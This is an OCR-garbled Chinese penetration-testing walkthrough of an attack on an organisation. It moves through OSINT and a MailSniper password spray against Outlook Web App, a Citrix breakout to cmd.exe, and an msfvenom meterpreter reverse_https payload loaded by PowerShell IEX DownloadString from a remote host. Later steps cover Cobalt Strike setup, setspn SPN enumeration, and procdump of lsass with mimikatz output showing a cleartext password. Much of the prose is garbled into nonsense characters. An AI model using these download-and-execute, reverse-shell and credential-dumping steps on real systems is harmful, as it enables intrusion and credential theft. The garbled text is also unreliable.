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MOSINT (A B IER, ZRECIAK —MERAAETB, N
BRI AR BB SRR N E MO WK BN K &
fE B, BATE AL A T HORF B JATH R 74 BRia (Citri
x, OWA CoutlookMyM i) , VPN, SharePoint%) . @ulCMS
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(a4 #, Shodan, Censys
(censys.io),connect.data.com,Fierce,Recon-ng,SimplyEmail,

TheHarvester, SpiderFoot (spiderfoot.net), hunter.io, VirusTotal

(virustotal.com), FOCA, Maltego and Pastebin (pastebin.com)%)

AT KREMEERER, WEAMWAEHGBEEZ: outlook I B R W
W (I HECEFE A , CitrixNMARKFLLEI10002H A %4 .
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Please log on

User name
Passwiord

outlook &[T (OWA)

Outlook'Web App
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sdminsirator
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qniE 7 H oowa A1 HH MailSniper L. H # 47 Password Spray
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(MailSniper F# M hit: https://github.com/dafthack/mai

lsniper

MailSniperfis:



MailSniper A W 4 F Z K £ . X W 4 K # £ Invoke-
GlobalMailSearchflInvoke-SelfSearch

H % Hpowershel 1 JF;

[~ C:\Windows\System32\cmd. exe — powershell. exe

; _ i i 6.1.7601] N
' YErA (c) 2009 Microsoft Corporation. {®EFNA HLF

:\tools\HailSniper-master\MailSniper-master>pouwershell .exe -exec Bypass
ndows Powershell B )
A (C) 2009 Microsoft Corporation, {fEFFrHILF

P$ C:\tools\HailSniper-master\MailSniper-master> Import-Module .\HailSniper.psi
P$ C:\tools\HailSniper-master\MailSniper-master> Invoke-SelfSearch -Mailbox )

E

cxchange version Exchange2010
2R 35k B BT A R AR a4

Invoke-GlobalMailSearch -ImpersonationAccount current-username -

ExchHostname Exch@l -OutputCsv -email-search.csv
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[If you have a password problem, please call the hotline 517-{ 1

info .n.com

Before sending us an email, please check our FAQs that answer the most common questions.
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Origir =
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User.Agent M. €64) ApplewsbitIS37 36 (KHTML, ke Gacko) Chroma/T8 03904 97 SafariS37 36
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W ERKI “XH” KRB R CRHAAENRNT BT, FHRBIC: \
Windows \ System32 \ B = , H M H Windows
CMDSzHI £ (cmd. exe) &



B'| cipher. exe
clb. dll

4 clbcatq. dll
4 clfs.sys

4 clfsw32. dll
4 cliconfg.dll
%) cliconfg. exe
4 cliconfg.rll
B' clip. exe

4 clusapi.dll
a4 cmcfg3Z. dll

| cmdialsd. all
B | cndkey. exe
E—»l cmdl 32. exe
4 cmicryptinstall.dll
9 cmifw. dll
. cmipnpinstall. dll
4 cmlua. dll

ITIFCMD, AT AT 1A 5 om Citrix ik 55 4% o
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: 192.16]

. 255.2°F

. 20204

. 20204

192. 1¢
BE2E . 192,11

DHCPuG IAID .

DHCPUB 7 /i

powershelll# shellcodeft @

UNIXRA G —HAABEIWG®RKMWTHERF (shell) , Windows
PowerShel l 1) ¥ 4 wf & % 4% fit Th A& AH 4 T UNIX R 4 1 iy & 1T 72 72
J¥ (fln: sh. bashBicsh) , [FIK KN B AEST LKL H A
BEMIE, b AP MW ARS & LA A .NET
Framework ff) 5 K I &g .

powershel | R HEMM T Hoed, NAETHERMIEN. —RERS
BET, Ml & el AR BN ERAT ARG, & F#ipowershel 1
RRWAT, ps1ATH LTS NBIER P, B80T LLIE N AE AT

o



WK powershel 1 i T. EHpowersploit. nishang. empire
. powercat, #EM TIEFEFMO B EH A, WIEK Npowershel
15E K, B RHAITHWAAERY KT

F* X B ff H B & Invoke-Shellcode f1 % , Invoke-
Shellcode&PowerSploit B — MM A TR, @Eiden limi

E X Hshellcode, 1M HitXFffEpowershel 19 K ifimst, ZFFht
tpMhttpsihidl,

FeFmsfvenom 4 B A K5 .

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=/WrIP

LPORT=3333 -f powershell -o shell.psl

fEms A W

windows/x64/meterpreter/reverse _https



fEpowershel 19 70 5l $4AT F 1Hl Ay & -

TEX( -Object
Net.WebClient).DownloadString("https://github.com/PowerShellMafi

a/PowerSploit/tree/master/CodeExecution/Invoke-Shellcode.psl™)

TEX( -Object
Net.WebClient).DownloadString(" F#kHitl/shell.ps1")

Invoke-Shellcode -Shellcode ($buf) -Force

PS C:\Users\Administrator> IEX(Mew-Object Net.WebClient).DownloadString(“http://1 owerSploit-master/Powersp
loit-master/CodeExecution//Invoke-Shelleode.psi™)

PS C:\Users\Administrator> IEX(Mew-Object Net WebClient).DewnloadString( http:,, shell.ps1”)

PS C:\Users\Administrator> Invoke-Shellcode -Shellcode (3$buf) -Force
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B MM Hkalig W keytool L EHAIZEIFEPXH, v

keytool -genkey - tryblog -keyalg RSA -validity 18899 -

keystore tryblog.store

UFUE 4. /teamserver 1P 214 . /c2.profiles
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M 11320 - AW A "3k WIN-1AB8QC 2720 3s

EventLog X

06/23 20:43:40 root

[E] H N H B
23 20:48:38 *** initial beacon fros v I I = H N EN:oigjc)

WP REMENE T Hsetspn. exe Pl & A 24 57 5 N AT B 4716 10 %

FKMR 55 %
A\/Q\‘\:

21

setspn.exe -T DomainName -Q /



>setsbn_exe -T DomainName -Q x/x
ldap_connect

——

0B ,DCr le,DC=com
ldap/WIN-UJTMRFT2SFR. twinkl:  .m/Fc sZones . twinkl:
ldap/WIN-UJTHRFT2SFR. twink™  -om/Do sZones . twin! .ol
Dfsr-12F9A2TC-BFIT-477 i D31B6C +JWIN-UJTH" _rR.tuipt
DNS /WIN-UJTMRFT2SE" com
GC/WIN-UJTHRFT?" ; £ om/twink =
Restrictedkr’ WI J FT23FR.te
Restricte wst/W {FT2SFR
HOST/W* 1 HRFT2SF P LE
HOST/ JJTMRFT23 t «le.com/T
HOST  d-UJTHMRFT2%
HOf  IN-UJTMRFTZ -nkle.col
HC WIN-UJTHRFTZ .inkle.com, le.com

E 4235-4B06-11 4-00C~ r2b29982-ab99-479f-8f Te-262dar3d93

o/t J i
p/WIN- 3
ap/f2l les2-i T9f-¢ -262da73d9310. _m=--
ap/ll”  JJTHF A.twink com/TWINKI F
lap /1 UJTH -R
dap/  -UJT JFR.twinkl:  am
dap, {-UJ” .SFR.twinkle -winkle.com
t,CN ars inkle,DC=com
kadr ches
P, CN: npu JC=twinkle,DC=com
HOS" S
HOST, Ttorom
IN?AAR CN=CoamnLITw-. nCzeom

ETRESFNBHPAKS MEN (RELEEHER) , REXHE
KM RlsassiHE RN FEK B hash (HRIEAH IR 2 H Al K 732 H n
ff flmimikatz. lazagne. incognito%f T. H 8% # 2 8 i i3 M £ 3k
HX N ] it task
list&F2GA 57T E K 3R n LA N AR5 S D .

B4 M#procdump ( FEiHisik: https://technet.microsoft.
com/en—

us/sysinternals/dd996900) , RE#M AT S (Y072 5 H R
RO

.exe .exe .dmp



lsass. dmp

B procdump. exe

B procdumpbd. exe

mimikatz (commandlin

mimikatz (commandlin
Opening : lsass.dm

Authentication Ir
Session

lUser Name

Domain

Logon Server
Logon Time

SID

vooasial
Domain
LM
NTLM
oA

- o # ¥ ¥

* Domas

* Domain

# pomaln

SSp
credman :

J Th 15 2 4

Switch to MINIDUMP :

smord

" Password :

* Password :

[19:34:089] Dump 1 initiated: 1p\lsass.dmp
(40:34:10] Dump 1 writing: Estimated dump file size is 34 MB.
[10:3%:11] Dump 1 complete: 34 MB written in 2.0 seconds
[10:34:11] Dump count reached.

e) # sekurlsa::minidump lsass. dmp
lsass. dmp

e) & sekurlsa::logonPasswords full
p file for minidump...

1912 (00000000:00089eb0)
= from 1

. ab2ta
: e985f:

test@2020!

testlavac

test@2020!
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